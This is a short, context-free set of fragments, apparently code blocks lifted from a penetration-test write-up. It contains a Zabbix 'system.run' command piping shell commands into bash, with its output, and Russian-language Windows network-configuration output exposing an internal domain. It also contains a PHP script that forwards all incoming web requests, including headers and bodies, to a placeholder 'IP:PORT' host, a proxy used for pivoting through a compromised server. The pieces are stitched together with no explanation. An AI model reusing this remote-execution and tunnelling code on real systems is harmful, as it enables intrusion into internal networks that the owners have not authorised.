system.run[echo -e "echo 1 \n echo 2" | bash]
bash: line 1: -e: command not found
2
echo 1; echo 2;
Адаптер Ethernet Ethernet:
DNS-суффикс подключения . . . . . : crb.local
Описание. . . . . . . . . . . . . : Realtek PCIe GbE Family Controller
<...>
NetBios через TCP/IP. . . . . . . . : Включен
Список поиска DNS-суффиксов подключения :
crb.local
<?php
$url_source = "http://IP:PORT";
$url = str_replace($_SERVER['SCRIPT_NAME'], $url_source, $_SERVER['REQUEST_URI']);
function HandleHeaderLine( $curl, $header_line ) {
header($header_line, true);
return strlen($header_line);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
$headers = array();
foreach (getallheaders() as $header => $value) {
$headers[] = $header.": ".$value;
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $_SERVER['REQUEST_METHOD']);
if($_SERVER['REQUEST_METHOD'] == 'PUT') {
$fp = fopen('php://input', 'r');
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_INFILE, $fp);
curl_setopt($ch, CURLOPT_INFILESIZE, (int)$_SERVER['CONTENT_LENGTH']);
} else {
curl_setopt($ch, CURLOPT_POSTFIELDS, $_POST);
}
curl_exec($ch);
curl_close($ch);
?>